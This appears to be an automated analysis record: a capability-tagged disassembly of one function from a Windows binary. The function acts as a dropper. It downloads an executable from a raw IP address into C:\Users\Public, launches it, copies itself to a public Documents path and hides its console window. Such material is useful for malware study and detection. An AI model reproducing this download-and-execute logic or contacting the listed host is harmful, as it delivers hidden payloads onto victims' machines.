Function at 0x140001fa0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x30], rax
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:UsersPublicDownloads_setup_online_1.1.14.0.exe
lea rdx, str.https:__down.360safe.com_se_setup_online_1.1.14.0.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:UsersPublicDownloads_tgp_daemon.exe
lea rdx, str.http:__43.134.99.186_tgp_daemon.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x1400021ee
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x1c], eax
mov dword [rbp - 0x80], 0x68
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:UsersPublicDownloads_tgp_daemon.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400021db
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140003dfc
lea rcx, str.C:UsersPublicDocuments_ttd.exe
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 0x21
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.140001050
nop
lea rcx, [rbp - 0x10]
call fcn.140001c40
test al, al
jne 0x140002196
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov rcx, qword [rax]
mov rdi, qword [rcx]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1400020f3
call fcn.140003dfc
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.140001050
nop
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
mov r8d, 2
call fcn.140003f38
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14000222b
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140002196
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002190
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002190
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004590
nop
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000220a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004590
jmp 0x14000220a
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x14000220a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002730
lea rdx, [0x1400026f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140004570
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
shr rdx, 0x20
lea r9, [rbp - 0x10]
lea r8, [rbp + 0x10]
call fcn.140001b60
int3